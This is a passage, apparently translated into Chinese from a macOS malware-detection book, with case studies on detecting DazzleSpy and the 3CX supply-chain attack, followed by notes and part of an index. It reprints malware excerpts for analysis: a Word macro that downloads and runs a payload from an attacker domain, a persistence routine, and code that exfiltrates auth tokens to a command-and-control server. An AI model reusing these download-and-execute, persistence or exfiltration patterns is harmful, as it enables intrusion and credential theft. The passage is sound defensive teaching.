我设计了 OverSight 来检测具有麦克风和摄像头间谍功能的恶意软件,如 FruitFly、Crisis 和 Mokes,但其不针对恶意软件的启发式方法证明了极高的通用性,还能够识别一个主要的隐私问题。

接下来,我们将考虑一个更常见的恶意软件检测示例。

DazzleSpy 检测

DazzleSpy 是本书中多次提到的恶意样本,它是一个很好的案例研究,因为它不是普通的常见恶意软件。这个复杂且持久的后门利用零日漏洞感染了支持香港民主运动的人士(4)。对这款恶意软件产生兴趣后,我对其进行了自己的分析(5),并考虑了安全工具如何防范它以及其他复杂的 macOS 威胁。

漏洞检测

本书中展示的工具和技术主要集中在检测恶意软件一旦进入 macOS 系统后的情况。然而,这些方法通常也能检测到恶意软件的初始利用向量。例如,一个构建进程层次结构的进程监视器可能能够检测到被利用的浏览器或文字处理器生成了一个恶意的子进程。这种基于启发式的漏洞检测方法尤为重要,因为高级威胁行为者越来越多地通过漏洞部署他们的恶意软件。

在我们关注 DazzleSpy 的攻击行为之前,先来看看一起利用恶意文档的攻击事件。该攻击归因于朝鲜国家级黑客,^(6) 该 Word 文件包含能够利用 macOS 系统持久性安装后门的宏代码。以下是恶意代码的一部分:

sur = "https://nzssdm.com/assets/mt.dat"
spath = "/tmp/"
i = 0

Do
    spath = spath & Chr(Int(Rnd * 26) + 97)
    i = i + 1
Loop Until i > 12

system("curl -o " & spath & " " & sur)
system("chmod +x " & spath)
popen(spath, "r") 

你可以看到,恶意宏通过 curl 下载远程二进制文件 mt.dat,将其设置为可执行文件,然后使用 popen API 执行它。由于恶意宏是在 Word 环境中执行的,进程监视器会显示 curl、chmod 和 mt.dat 是 Word 的子进程。当然,这种行为是高度异常的,表明这是一起攻击。

就 DazzleSpy 而言,漏洞链复杂得多,但它仍然提供了几个检测的机会。作为链的一部分,一段内存中的 Mach-O 可执行代码将 DazzleSpy 后门下载到 $TMPDIR/airportpaird 目录。将后门设为可执行后,它使用特权升级漏洞移除 com.apple.quarantine 扩展属性。此操作确保操作系统允许二进制文件执行,而无需提示或警告,即使它没有通过认证。

由于托管漏洞链的恶意网站早已不存在,除非我们自己搭建一个托管相同漏洞的服务器,否则很难直接测试我们的检测方法。不过,利用端点安全事件的安全工具应该能够轻松观察并甚至阻止漏洞利用 DazzleSpy 部署过程中采取的许多操作。例如,正如第九章所示,ES_EVENT_TYPE_AUTH_EXEC 事件类型提供了一种认证进程执行的机制,或许能阻止任何未认证的进程执行,特别是当父进程是浏览器时。

与删除扩展属性相关的其他端点安全事件可能会捕获或甚至阻止任何试图删除 com.apple.quarantine 的进程。示例代码 14-1 监视其中一个事件,ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR,以检测任何扩展属性的移除。

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR}; ❶

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    if(ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR == message->event_type) { ❷
        es_string_token_t* procPath = &message->process->executable->path;
        es_string_token_t* filePath = &message->event.deleteextattr.target->path;
        const es_string_token_t* extAttr = &message->event.deleteextattr.extattr;

        printf("ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR\n");
        printf("xattr: %.*s\n", (int)extAttr->length, extAttr->data);
        printf("target file path: %.*s\n", (int)filePath->length, filePath->data);
        printf("responsible process: %.*s\n", (int)procPath->length, procPath->data);
    }
});
es_subscribe(client, events, sizeof(events)/sizeof(events[0])); 

示例 14-1:检测隔离属性的移除

我们首先指定感兴趣的事件,ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR,它会在任何扩展属性被移除时通知我们 ❶。(你也可以使用授权事件 ES_EVENT_TYPE_AUTH_DELETEEXTATTR 来完全阻止移除操作。)这个通知事件会触发回调块 ❷,在其中我们提取责任进程、其文件路径和代码删除的任何扩展属性。我们可以从名为 deleteextattr 的结构中提取这些信息,该结构位于端点安全事件中。该结构类型为 es_event_deleteextattr_t,在 ESMessage.h 中定义,具有以下成员:

typedef struct {
    es_file_t* _Nonnull target;
    es_string_token_t extattr;
    uint8_t reserved[64];
} es_event_deleteextattr_t 

当通过浏览器漏洞链或手动下载时,DazzleSpy 的 airportpaird 二进制文件会设置 com.apple.quarantine 扩展属性。你可以通过执行带有 -l 命令行标志的 xattr 命令来确认这一点:

% **xattr -l airportpaird**
com.apple.quarantine: 0083;659e4224;Safari;D6E57863-A216-4B5B-ADE8-2ECB300E2075 

若要手动模拟该漏洞,可以通过运行带有 -d 标志的 xattr 删除此属性:

% **xattr -d com.apple.quarantine airportpaird**

如果我们在示例代码 14-1 中编写的监控代码正在运行,你将收到以下警报:

# **XattrMonitor.app/Contents/MacOS/XattrMonitor**
ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR
xattr: com.apple.quarantine
target file path: /var/folders/l2/fsx0dkdx3jq6w71cqsht2p240000gn/T/airportpaird
responsible process: /usr/bin/xattr 

许多其他恶意软件样本会移除 com.apple.quarantine 扩展属性,包括 CoinTicker、OceanLotus 和 XCSSET。^(7) 然而,值得注意的是,合法应用程序(如安装程序)也可能会移除该属性,因此不应仅凭一次观察就将某个项目分类为恶意。

持久性

通过专注于恶意软件的持久性和网络访问行为,采用基于行为的检测方法,DazzleSpy 也很容易被检测到。让我们从检测其持久性开始,这是检测恶意软件的最佳方法之一。以下反编译片段显示 DazzleSpy 的 installDaemon 方法将其安装并作为启动代理持久化:

+(void)installDaemon {
    ...
    rax = NSHomeDirectory();
    var_30 = [[NSString stringWithFormat:@"%@/.local", rax] retain];
    var_38 = [[NSString stringWithFormat:@"%@/softwareupdate", var_30] retain];
    rax = [[NSBundle mainBundle] executablePath];
    var_58 = [NSURL fileURLWithPath:rax];
    var_60 = [NSData dataWithContentsOfURL:var_58];

    [var_60 writeToFile:var_38 atomically:0x1];

    var_78 = [NSString stringWithFormat:@"%@/Library/LaunchAgents", rax];
    var_80 = [var_78 stringByAppendingFormat:@"/com.apple.softwareupdate.plist"];

    var_90 = [[NSMutableDictionary alloc] init];
    var_98 = [[NSMutableArray alloc] init];
 [var_98 addObject:var_38];
    [var_98 addObject:@"1"];
    rax = @(YES);
    [var_90 setObject:rax forKey:@"RunAtLoad"];
    [var_90 setObject:rax forKey:@"KeepAlive"];
    [var_90 setObject:@"com.apple.softwareupdate" forKey:@"Label"];
    [var_90 setObject:var_98 forKey:@"ProgramArguments"];

    [var_90 writeToFile:var_80 atomically:0x0]; 

你可以看到,恶意软件首先将自身复制到 ~/.local/softwareupdate,然后通过使用 com.apple.softwareupdate.plist 启动代理属性列表使该副本持久化。

一个订阅了文件 I/O 端点安全事件(如 ES_EVENT_TYPE_NOTIFY_CREATE)的文件监视器可以轻松观察到这种行为,并在 DazzleSpy 持久化时检测到它。例如,这里是 第八章 中讨论的文件监视器的输出:

# **FileMonitor.app/Contents/MacOS/FileMonitor -pretty**
...
{
  "event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
  "file" : {
    "destination" : "/Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist",
    "process" : {
      "pid" : 1469,
      "name" : airportpaird,
      "path" : "/var/folders/l2/fsx0dkdx3jq6w71cqsht2p240000gn/T/airportpaird"
    }
  }
} 

一旦 DazzleSpy 持久化,我们还可以查看其 com.apple.softwareupdate.plist 启动代理属性列表的内容:

<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<dict>
    <key>KeepAlive</key>
    <true/>
    <key>Label</key>
    <string>com.apple.softwareupdate</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Users/User/.local/softwareupdate</string>
        <string>1</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>SuccessfulExit</key>
    <true/>
</dict>
</plist> 

ProgramArguments 键确认了我们在反编译中看到的恶意二进制文件持久化位置的路径。同时,你可以看到 RunAtLoad 键被设置为 true,这意味着每次用户登录时(此时操作系统会检查启动代理),macOS 会自动重新启动恶意软件。

BlockBlock 可以通过端点安全文件事件或更新后的 ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD 事件轻松检测到这种持久性。此外,由于传统的防病毒产品已经改进了检测能力,KnockKnock 的 VirusTotal 集成现在会将 DazzleSpy 标记为恶意软件,但即使防病毒签名未能标记 DazzleSpy 为恶意软件(就像恶意软件最初部署时那样),KnockKnock 仍能检测到 DazzleSpy 的持久化启动代理,因为其后台任务管理插件揭示了所有已安装的启动项。

此外,请注意属性列表中的com.apple前缀,这表明该二进制文件是一个 Apple 更新程序。然而,Apple 并未签署该项;事实上,该二进制文件完全没有签名。(KnockKnock 通过在项目名称旁边显示问号来指示这一点。)考虑到所有这些信息,我们可以得出结论,该项很可能是恶意的,需要彻底调查。

网络访问

未经授权的网络访问是检测恶意软件的又一种有效方式,DazzleSpy 也不例外。为了接收任务,DazzleSpy 会连接到攻击者的指挥与控制服务器 88.218.192.128. 以下反编译片段显示该地址已被硬编码到恶意软件中,同时包括端口 5633:

int main(int argc, const char* argv[]) {
    ...
    var_18 = [[NSString alloc] initWithUTF8String:"88.218.192.128:5633"]; 

像 LuLu 这样的网络监控工具,可以利用第七章中提到的技术,轻松检测到这种网络访问。在其警报中,LuLu 将捕获到未经授权的softwareupdate程序试图连接到一个非标准端口上监听的远程服务器。它还会显示该程序没有使用受信任的证书签名或公证,并且它是从一个隐藏目录中运行的。将这些红旗信号结合起来,确实值得进行更深入的检查。

3CX 供应链攻击

最后的这个案例研究将我们的工具和技术与被广泛认为是最难检测的攻击之一——供应链攻击——进行了对比。这些破坏性的网络安全事件通过破坏受信任的软件,能够感染大量毫无防备的用户。尽管大多数供应链攻击影响的是基于 Windows 的计算机,但针对开源社区^(8)和 macOS 的此类攻击明显增加。在这里,我们将重点讨论书中多次提到的 2023 年国家级攻击,该攻击目标是流行的私人分支交换(PBX)软件提供商 3CX。

被认为是首个链式供应链攻击(攻击者通过另一个供应链攻击获取了对 3CX 的初步访问权限),攻击者破坏了 3CX 的 Windows 和 Mac 版本应用程序。随后,攻击者使用 3CX 自己的开发者证书签署了被篡改的应用程序,并提交给苹果,苹果无意中为其进行了公证。最终,macOS 企业用户在毫无察觉的情况下大量下载了被篡改的应用程序。

供应链攻击非常难以检测。合法的 macOS 3CX 应用程序包含超过 400MB 的代码,分布在 100 多个文件中,因此要识别恶意组件并确认其被篡改,就像大海捞针。你可以在我的文章中阅读更多关于这次搜索的内容,在那里我既确认了 macOS 应用程序的篡改,也找到了该应用程序中承载攻击者恶意代码的单一库。^(9)

可以理解的是,即使是大型网络安全公司也很难进行此类检测:SentinelOne 最初指出,它无法确认 macOS 版本的 3CX 应用程序是否受到攻击的影响。^(10) 此外,苹果的扫描未能发现感染的安装程序被篡改,从而导致意外授予了公证凭证。

尽管如此,通过观察异常或不寻常的行为,仍然很有可能检测到供应链攻击。CrowdStrike 是第一个确认 3CX 在 Windows 上遭遇攻击的组织,^(11) 他们采用了这种基于行为的方法。^(12) 让我们来考虑一下那些能够揭露这一攻击及其他供应链攻击的检测方法。将各种异常现象结合起来,能够清晰地描绘出问题的存在。

文件监控

添加到 3CX 应用程序合法libffmpeg.dylib库中的恶意代码有两个简单的目标:收集感染主机的信息,然后下载并执行第二阶段的有效载荷。作为第一步活动的一部分,恶意软件还生成了一个标识符来唯一标识感染的主机,并将其写入一个隐藏的加密文件.main_storage。^(13) 下面是一个来自被篡改的libffmpeg.dylib库中的反编译代码片段,该函数打开文件、加密信息并将其写入磁盘:

❶ rax = fopen(file, "wb");
if (rax != 0x0) {
    rbx = rax;
    rax = 0x0;
  ❷ do {
        *(r14 + rax) = *(r14 + rax) ^ 0x7a;
 rax = rax + 0x1;
    } while (rax != 0x38);

  ❸ fwrite(r14, 0x38, 0x1, rbx);
    fflush(rbx);
    fclose(rbx);
} 

在反编译中,你可以看到文件是通过 fopen API ❶打开的。文件名在恶意软件中是硬编码的,但在反编译中未显示,因为代码动态生成完整路径并将其传递给该函数。一旦文件被打开,恶意软件就会使用硬编码的密钥 0x7a ❷,对由 r14 寄存器指向的缓冲区进行 XOR 加密。然后,它通过 fwrite API ❸将加密后的缓冲区写入文件。

使用文件监控工具,你可以观察到恶意软件打开并写入这个隐藏文件:

# **FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter** **"****3CX Desktop App****"**
{
  "event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
  "file" : {
    "destination" :
    "/Users/User/Library/Application Support/3CX Desktop App/.main_storage",
    "process" : {
      "pid" : 40029,
      "name" : "3CX Desktop App",
      "path" : "\/Applications/3CX Desktop App\/Contents\/MacOS\/3CX Desktop App"
    }
  }
}
...
{
  "event" : "ES_EVENT_TYPE_NOTIFY_WRITE",
  "file" : {
    "destination" :
    "/Users/User/Library/Application Support/3CX Desktop App/**.main_storage",**
    "process" : {
      "pid" : 40029,
      "name" : "3CX Desktop App",
      "path" : "\/Applications/3CX Desktop App\/Contents\/MacOS\/3CX Desktop App"
    }
  }
} 

如果你手动使用 macOS 的 hexdump 工具检查.main_storage,你会看到它明显被混淆或加密:

# **hexdump -C ~/Library/Application\ Support/3CX\ Desktop\ App/.main_storage**
00000000  1c 19 1e 4f 1f 43 4e 1b  57 1b 1b 4c 43 57 49 43  |...O.CN.W..LCWIC|
00000010  49 1c 57 4f 49 1f 4e 57  4f 1f 4b 4a 4f 4d 1b 4c  |I.WOI.NWO.KJOM.L|
00000020  4b 4c 1c 4b 7a 7a 7a 7a  7a 7a 7a 7a 7a 7a 7a 7a  |KL.Kzzzzzzzzzzzz|
00000030  05 0c ee 1e 7a 7a 7a 7a 

通过标记隐藏文件的创建,特别是那些包含加密内容的文件,我们很快就能注意到 3CX 应用程序表现得非常异常。检测文件是否被加密的一种方法是计算文件的熵值。这个过程计算量大,因此我们不希望对每个文件都进行此操作,但检查隐藏文件可能是一个好的起点!

网络监控

一旦恶意软件为受害者生成了 ID 并完成了对感染系统的基本调查,它会将这些信息发送到其指挥与控制服务器。由此产生的网络流量给我们提供了另一个启发式方法,用于检测是否发生了异常。然而,3CX 应用程序也会访问网络来完成其合法功能,因此要检测其恶意行为,我们需要观察它与新的恶意端点的通信。

事实上,这就是用户最初发现供应链攻击的方式。关于异常行为的首个报告出现在 3CX 论坛上,客户在论坛中发布了关于应用程序发出异常网络流量的帖子。例如,一位客户注意到与msstorageboxes.com DNS 主机的连接,这个域名是一个新注册的、不被识别的域名,位于雷克雅未克。^(14) 第十三章中描述的 DNSMonitor 工具让我们能够观察到这些 DNS 流量:

% **/Applications/DNSMonitor.app/Contents/MacOS/DNSMonitor**
{
    "Process" : {
        "pid" : 40029,
        "name" : "3CX Desktop App",
        "path" : "\/Applications/3CX Desktop App\/Contents\/MacOS\/3CX Desktop App"
    },
    "Packet" : {
        "Opcode" : "Standard",
        "QR" : "Query",
        "Questions" : [
          {
            "Question Name" : "1648.3cx.cloud",
            "Question Class" : "IN",
            "Question Type" : "AAAA"
          }
        ],
        ...
    }
}
...
{
    "Process" : {
        "pid" : 40029,
        "name" : "3CX Desktop App",
        "path" : "\/Applications/3CX Desktop App\/Contents\/MacOS\/3CX Desktop App"
    },
    "Packet" : {
    "QR" : "Query",
 "Questions" : 
      }
        "Question Name" : "msstorageboxes.com",
        "Question Class" : "IN",
        ... 

这两个请求尝试解析域名1648.3cx.cloudmsstorageboxes.com。你如何判断这些端点是合法的还是异常的?正如上一章所讨论的,一般方法包括检查历史 DNS 记录、WHOIS 数据以及任何 SSL/TLS 证书。^([15) 这些数据点对于3cx.cloud域名来说看起来是正常的(该域名是 3CX 基础设施的一部分),但msstorageboxes.com域名则引起了一些严重的警报。

进程监控

一旦libffmpeg.dylib中的恶意代码解析了命令与控制服务器的地址,它便会向服务器发送生成的 UUID 和从受感染主机收集的基本调查数据。然后,它会下载并执行第二阶段的有效载荷,这为启发式检测这种隐蔽攻击提供了更多的机会。以下是来自libffmpeg.dylib的反编译代码片段,显示了恶意软件写出第二阶段有效载荷并执行它的过程:

❶ sprintf(&var_21F8, "%s/UpdateAgent", &var_1DF8);
r13 = &var_21F8;
❷ rax = fopen(r13, "wb");
if (rax != 0x0) {
  ❸ fwrite(var_23F8 + 0x4, var_23F8 - 0x4, 0x1, file);
    ...
  ❹ chmod(r13, 755o);
    sprintf(r12, rbp, ❺ r13);
  ❻ rax = popen(r12, "r");
    ... 

恶意软件在 3CX 桌面应用程序的Application Support目录中为有效载荷构建了完整路径。你可以看到有效载荷的名称被硬编码为 UpdateAgent ❶。接下来,它以写入二进制模式打开该文件 ❷,并写入它从攻击者的命令与控制服务器收到的有效载荷字节 ❸。在将其权限更改为可执行 ❹ 后,恶意软件调用 sprintf API 以创建一个包含保存的 UpdateAgent 二进制文件路径的缓冲区,该路径存储在 r13 寄存器中 ❺,并附加后缀>/dev/null 2>&1。此后缀未在反编译中显示,它会将有效载荷的任何输出或错误重定向到/dev/null。最后,恶意软件执行该有效载荷 ❻。

当研究人员发现供应链攻击时,攻击者的命令与控制服务器已经下线,因此我们无法实时观察该攻击。然而,我们可以通过配置主机,将 msstorageboxes.com 解析为我们控制的服务器,然后从受感染的受害者那里提供第二阶段有效载荷样本来模拟该攻击。这个设置将使我们了解我们的监控工具能捕获到有关这次隐秘感染的哪些信息。

例如,第八章中的进程监控代码将捕获以下内容:

# **ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty**
{
    "event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
    "process" : {
        "pid" : 51115,
        "name" : "UpdateAgent",
        "path" : "/Users/User/Library/Application Support/3CX Desktop App/UpdateAgent",
        "signing info (computed)" : {
            "signatureStatus" : 0,
            "signatureSigner" : "AdHoc",
            "signatureID" : "payload2-55554944839216049d683075bc3f5a8628778bb8"
        },
        "ppid" : 40029,
        ...
    }
} 

记得 popen API 在 shell 中执行了第二阶段的有效载荷。即便如此,它的父进程 ID(在此实例中为 40029)仍然能够识别 3CX 桌面应用程序实例。3CX 桌面应用程序生成额外进程的事实稍显可疑;更为严重的是,该进程的二进制文件UpdateAgent是以临时方式签名的,而不是使用受信任的证书,这一点是一个巨大的警告信号:

% **codesign -dvvv UpdateAgent**
Executable=/Users/User/Library/Application Support/3CX Desktop App/UpdateAgent
Identifier=payload2-55554944839216049d683075bc3f5a8628778bb8
CodeDirectory v=20100 size=450 flags=0x2(**adhoc**) hashes=6 + 5 location=embedded 

如同 DazzleSpy 的情况一样,初始有效负载通常会使用开发者证书签名并且经过公证,允许它们在较新的 macOS 版本上顺利运行。然而,二级有效负载通常不会这样做。如果它们是由操作系统中运行的恶意代码下载并执行的,那么就不需要签名和公证了。然而,大多数合法软件都会进行签名,因此你应该仔细检查任何未经公证的第三方软件,甚至可以完全阻止它的执行。

当前,BlockBlock 只会阻止 macOS 已经隔离的未经公证的软件。然而,你可以修改该工具,仅允许公证的第三方软件执行。为此,你可以注册一个 Endpoint Security 客户端并订阅 ES_EVENT_TYPE_AUTH_EXEC 事件。如果新进程是有效签名并且经过公证,你可以返回 ES_AUTH_RESULT_ALLOW 以允许其执行。否则,你可以返回 ES_AUTH_RESULT_DENY 来阻止该进程。不过,请记住,核心平台二进制文件并未经过公证。

BlockBlock 始终允许平台二进制文件,你可以通过 Endpoint Security es_process_t 结构体中的 is_platform_binary 成员来识别它们。此外,来自官方 Mac App Store 的应用程序并未经过公证,尽管 Apple 会对它们进行恶意软件扫描。要判断某个应用程序是否来自 Mac App Store,请使用以下要求字符串:anchor apple generic and certificate leaf [subject.CN] = "Apple Mac OS Application Signing"。

捕获自我删除

UpdateAgent 二进制文件执行了其他我们可以检测到的可疑操作。例如,它会自我删除。在分叉后,子进程调用 unlink API,并传入 argv[0],该值保存了进程二进制文件的路径:

int main(int argc, const char* argv[]) {
    ...
    if(fork() == 0) {
        ...
        unlink(argv[0]); 

恶意软件非常喜欢自我删除,因为从磁盘上移除二进制文件往往能阻碍分析。即便是安全工具,macOS 也没有提供有效的方法来捕捉正在运行的进程的内存镜像。事实上,至少有一家安全公司,其产品跟踪进程启动,但未能获取到 UpdateAgent 二进制文件,因为当分析人员试图手动收集它时,它已经自我删除。同样,传统的基于签名的病毒扫描器需要扫描磁盘上的文件,如果没有找到文件,它们将无法执行扫描。幸运的是,一位匿名用户非常慷慨地与我分享了该二进制文件,使得我能够对其进行详细分析,并写出了相关报告。^(16)

对于基于启发式的检测方法,自我删除的二进制文件既容易被检测到,也是一个明显的警告信号。通过文件监控来检测自我删除的二进制文件非常简单:只需查找删除事件,其中进程路径与被删除文件的路径匹配,如以下输出所示:

# **FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter UpdateAgent**
{
  "event" : "ES_EVENT_TYPE_NOTIFY_UNLINK",
  "file" : {
    "destination" : "/Users/User/Library/Application Support/3CX Desktop App/UpdateAgent",
    ...
    "process" : {
      "pid" : 51115,
      "name" : "UpdateAgent",
      "path" : "/Users/User/Library/Application Support/3CX Desktop App/UpdateAgent"
    }
  }
} 

请注意,两个 UpdateAgent 二进制文件的路径一致。

检测外泄

自删除后,UpdateAgent从一个合法的 3CX 配置文件和由第一阶段组件libffmpeg.dylib创建的.main_storage文件中提取信息。在其 send_post 函数中,恶意软件将这些信息发送到另一个命令和控制服务器sbmsa.wiki

parse_json_config(...);
read_config(...);

enc_text(&var_460, &var_860, rdx);

sprintf(&var_1060, "3cx_auth_id=%s;3cx_auth_token_content=
%s;__tutma=true", &var_58, &var_860);

send_post("https://sbmsa.wiki/blog/_insert", &var_1060, &var_1064); 

这次传输无疑是整个供应链攻击中最容易检测的行为,而且更重要的是,可以将其归类为异常,这一点基于许多前面已经讨论的原因。首先,网络扩展(例如 DNSMonitor)可以轻松检测到新的网络事件,并将其与相应的进程关联。在本例中,负责的进程UpdateAgent是最近安装的,采用临时签名并且未经过公证。此外,该进程已自删除。最后,域名sbmsa.wiki显得可疑,原因包括缺乏历史 DNS 记录、选择的注册商等。

LuLu 发出的警报(见图 14-1),由恶意软件尝试连接攻击者的远程服务器触发,捕获了这些异常现象。例如,带删除线的进程名称表示自删除,而困惑的皱眉符号则表明该恶意软件具有不可信的签名。

图 14-1:LuLu 警报显示一个具有不可信签名的自删除二进制文件尝试访问网络。

供应链攻击因其非常难以检测且影响广泛而臭名昭著。然而,正如这里所示,利用启发式方法的监控工具可以识别与这些复杂攻击相关的异常行为,从而实现其检测。### 结论

每当我们对工具的检测能力做出大胆声明时,特别是对于尚未发现的威胁,我们必须为这些声明提供支持。在本章最后,我们将本书中介绍的工具和检测方法与针对 macOS 系统的最新且最隐蔽的威胁进行对抗。虽然我们事先并不知道这些威胁,但基于启发式的方法的检测表现出色。这确认了基于行为的启发式方法在识别现有和新兴威胁方面的强大能力,正如我们在本章最后以及全书中所展示的那样。更重要的是,现在你已经具备了编写自己工具和启发式方法的知识和技能,能够应对未来即使是最复杂的 macOS 威胁。

注释

  1. 1.  “Shazam 一直在监听你所做的一切,”纽约邮报,2016 年 11 月 11 日,https://nypost.com/2016/11/15/shazam-is-always-listening-to-everything-youre-doing/.

  2. 2.  John Leyden, “嘘!Shazam 总是处于监听状态——即使它已经被‘关闭’了,” The Register,2016 年 11 月 16 日,https://www.theregister.com/2016/11/15/shazam_listening/.

  3. 3.  你可以在 Patrick Wardle 的文章《忘记 NSA 吧,Shazam 才是一直在监听!》中阅读更多关于 Shazam 失误反转的内容,Objective-See,2016 年 11 月 14 日,https://objective-see.org/blog/blog_0x13.html.

  4. 4.  Marc-Etienne M. Léveillé 和 Anton Cherepanov, “Watering Hole 在亚洲部署新的 macOS 恶意软件 DazzleSpy,” WeLiveSecurity,2022 年 1 月 25 日,https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/.

  5. 5.  Patrick Wardle, “分析 OSX.DazzleSpy,” Objective-See,2022 年 1 月 25 日,https://objective-see.org/blog/blog_0x6D.html.

  6. 6.  Phil Stokes, “Lazarus APT 通过毒害的 Word 文档攻击 Mac 用户,” SentinelOne,2019 年 4 月 25 日,https://www.sentinelone.com/labs/lazarus-apt-targets-mac-users-with-poisoned-word-document/.

  7. 7.  “颠覆信任控制:绕过 Gatekeeper,” Mitre Attack,https://attack.mitre.org/techniques/T1553/001/.

  8. 8.  “在 Linux 发行版中发现恶意代码,” Kaspersky,2024 年 3 月 31 日,https://www.kaspersky.com/blog/cve-2024-3094-vulnerability-backdoor/50873/.

  9. 9.  Patrick Wardle, “完善 (macOS) 细节:一个平稳操作的细节(第一部分)”,Objective-See,2023 年 3 月 29 日,https://objective-see.org/blog/blog_0x73.html.

  10. 10.  Juan Andres Guerrero-Saade,“SmoothOperator | 持续的活动 Trojanizes 3CX 软件,发生在软件供应链攻击中,”SentinelOne,2023 年 3 月 29 日,https://web.archive.org/web/20230329231830/https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/

  11. 11.  Bart Lenaerts-Bergmans “什么是供应链攻击?”CrowdStrike,2023 年 9 月 27 日,https://www.crowdstrike.com/cybersecurity-101/cyberattacks/supply-chain-attacks/

  12. 12.  CrowdStrike (@CrowdStrike),“CrowdStrike Falcon 平台检测并防止针对 3CXDesktopApp 客户的主动入侵活动,”X,2023 年 3 月 29 日,https://x.com/CrowdStrike/status/1641167508215349249

  13. 13.  “Smooth Operator,”国家网络安全中心,2023 年 6 月 29 日,https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/smooth-operator/NCSC_MAR-Smooth-Operator.pdf

  14. 14.  “SentinelOne 的威胁警报,”3CX 论坛,2023 年 3 月 29 日,https://www.3cx.com/community/threads/threat-alerts-from-sentinelone-for-desktop-update-initiated-from-desktop-client.119806/post-558710

  15. 15.  Esteban Borges,“如何使用被动 DNS 进行威胁狩猎,”Security Trails,2023 年 1 月 31 日,https://securitytrails.com/blog/threat-hunting-using-passive-dns

  16. 16.  见 Patrick Wardle,“细化(macOS)中 Smooth Operator 的细节(第二部分),”Objective-See,2023 年 4 月 1 日,https://objective-see.org/blog/blog_0x74.html

第十五章:INDEX

  • A

  • 活动监视器实用工具,8,30–31,33–34,46

  • addObserver:selector:name:object: 方法,286–287

  • 持久性高级威胁(APTs),13–14,104–105。另见 persistence

  • AF 套接字,105

  • Alchimist 攻击框架,103

  • AMFI。参见 Apple Mobile File Integrity

  • 安全分析恶意软件,xxvii–xxviii

  • 锚点苹果通用要求,94

  • 锚点苹果要求,94,96–97

  • 应用程序 ID,注册,254–255

  • 苹果文件系统(APFS),xxviii

  • 苹果移动文件完整性(AMFI),181,254

  • 禁用,xxvii,160,181

  • 权限和,xxvii

  • 应用程序服务 API,17–19

  • APTs(持久性高级威胁),13–14,104–105。另见 persistence

  • ARC(自动引用计数),18,211

  • 进程参数,9–13,197–199

  • ARM 二进制文件,32

  • Mac 恶意软件的艺术,第 1 卷(Wardle),xxv

  • 音频监控

  • Oversight 工具,282–285

  • Shazam 小部件,313–315

  • 审计令牌,5–6

  • 端点安全进程监视器,192

  • 静音反转通过,210

  • 通过获取代码对象引用,95–96

  • XPC 和,266–268

  • 授权事件,端点安全,213–222

  • 阻止后台任务管理绕过,219–222

  • 检查二进制文件来源,217–219

  • 会议消息截止日期,215–217

  • 起源,183

  • 订阅,213–215

  • 自动引用计数(ARC),18,211

  • 桥接,80

  • AutoRuns 工具,233

  • AVFoundationAudioObjectAddProperty ListenerBlock API,282

  • AVFoundation 框架,58

  • 添加属性监听器,283–284

  • 设备枚举,281

  • 提取属性值,285

  • 属性监听器块,282

  • 删除属性监听器,294

  • B

  • 后台任务管理 (BTM),2,123–136

  • 访问元数据,134–135

  • BlockBlock 工具,261–265

  • 阻止绕过,219–222

  • 反序列化,130–134

  • DumpBTM 项目,130–137

  • 事件监控逻辑,263

  • 查找数据库路径,130–131

  • 识别恶意软件,135–136

  • initWithCoder: 方法,132–134

  • 与数据库交互,124–127

  • ItemRecord 类,131–133

  • itemsByUserIdentifier 字典,131

  • KnockKnock 工具,241–242

  • 序列化,126–127

  • sfltool 工具,127–130

  • 基于行为的启发式方法。另见 基于启发式的检测方法

  • 定义,xxii

  • 假阳性,75

  • 二进制文件。另见 Mach-O 二进制文件

  • 加密,70–71

  • 打包的二进制文件,62–70

  • 通用二进制文件,39–50

  • 黑镜(电视节目),279

  • BlockBlock 工具,253–276

  • 警报,257

  • 后台任务管理,261–265

  • DazzleSpy 和,319

  • 端点安全与,181

  • 权限,254–256

  • 启动守护进程,257–258

  • 登录项,257

  • 消息截止时间,216

  • 公证模式,213

  • 插件,258–261

  • 3CX 供应链攻击,324–325

  • XPC,265–276

  • 阻止 DNS 流量,307–310

  • 关闭本地流,309

  • 关闭远程流,309

  • 从 A 记录中提取答案,308–309

  • 名称错误,309

  • NXDOMAIN 响应,309–310

  • 响应数据包,308

  • 将 DNS 查询和回答保存到缓存,305

  • 桥接,80

  • 浏览器扩展,242–245

  • BTM。另见 后台任务管理

  • C

  • CalendarFree.app,10–13

  • 回调逻辑,114–115

  • 摄像头监控,285–286。另见 Oversight 工具

  • 网络摄像头,142,279–280

  • 案例研究,313–326

  • DazzleSpy 恶意软件,315–319

  • Shazam,313–315

  • 3CX 供应链攻击,319–326

  • 证书授权链,80

  • CFBundleCopyExecutableArchitectures ForURL API,250

  • 链式供应链攻击,320

  • checkSignature 项目,76,79,84,88,94–95

  • Chropex (ChromeLoader),9

  • 客户端

  • Endpoint Security,185,199–200

  • XPC,269–271

  • CloudMensis 恶意软件,40–41,44–49,52,54,56

  • 代码签名,75–76

  • 特定签名,81–82

  • Apple 对于的要求,xxvi–xxvii

  • 定义,24

  • 磁盘映像和,78–84

  • Endpoint Security 进程监视器,195–197

  • 错误代码,97

  • 假阳性和,75,96–97

  • 恶意软件检测中的重要性,76–78

  • 公证,77,82–84

  • 硬盘上的 Mach-O 二进制文件和,93–95

  • 包中的,84–93

